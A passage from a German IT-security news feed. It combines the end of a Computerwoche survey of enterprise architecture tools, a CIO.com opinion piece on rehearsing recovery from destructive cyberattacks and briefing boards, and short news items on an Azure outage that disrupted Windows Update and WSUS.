<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft löst Azure-Problem: Updates und Store laufen wieder]]></title>
<description><![CDATA[Nach einem weitreichenden Ausfall der Azure-Infrastruktur funktionieren zentrale Windows-Dienste wieder. Nutzer und Administratoren können Updates und Store-Inhalte nun wieder wie gewohnt herunterladen. Die Störung dauerte mehrere Stunden an.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3694181/it-security-nachrichten/microsoft-loest-azure-problem-updates-und-store-laufen-wieder/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694181/it-security-nachrichten/microsoft-loest-azure-problem-updates-und-store-laufen-wieder/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,160201.html"><img hspace="5" border="0" align="left" alt="Windows 11, Windows Update, Microsoft Windows 11, Windows 11 Update, Windows 11 Updates, Windows 11 Logo" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/56589.jpg"></a>
			Nach einem weitreichenden Ausfall der Azure-Infrastruktur funktionieren zentrale Windows-Dienste wieder. Nutzer und Administratoren können Updates und Store-Inhalte nun wieder wie gewohnt herunterladen. Die Störung dauerte mehrere Stunden an.			(<a href="https://winfuture.de/news,160201.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft löst Azure-Problem: Updates und Store laufen wieder - WinFuture.de]]></title>
<description><![CDATA[In Unternehmensnetzwerken meldeten Administratoren zudem Probleme bei den Windows Server Update Services (WSUS). Downloads waren teils verzögert ...]]></description>
<link>https://tsecurity.de/de/3694111/windows-server/microsoft-loest-azure-problem-updates-und-store-laufen-wieder-winfuturede/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694111/windows-server/microsoft-loest-azure-problem-updates-und-store-laufen-wieder-winfuturede/</guid>
<pubDate>Sat, 25 Jul 2026 17:46:10 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In Unternehmensnetzwerken meldeten Administratoren zudem Probleme bei den <b>Windows Server</b> Update Services (WSUS). Downloads waren teils verzögert ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure West US: Softwarefehler legt Microsoft-Cloud fünf Stunden lahm - ad-hoc-news.de]]></title>
<description><![CDATA[... Server-Racks, das die Infrastruktur der Microsoft ... Selbst grundlegende Systemdienste wie Windows Update, der Microsoft Store und der Windows Server ...]]></description>
<link>https://tsecurity.de/de/3694109/windows-server/azure-west-us-softwarefehler-legt-microsoft-cloud-fuenf-stunden-lahm-ad-hoc-newsde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694109/windows-server/azure-west-us-softwarefehler-legt-microsoft-cloud-fuenf-stunden-lahm-ad-hoc-newsde/</guid>
<pubDate>Sat, 25 Jul 2026 17:46:07 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... Server-Racks, das die Infrastruktur der Microsoft ... Selbst grundlegende Systemdienste wie Windows Update, der Microsoft Store und der <b>Windows Server</b> ...]]></content:encoded>
</item>
<item>
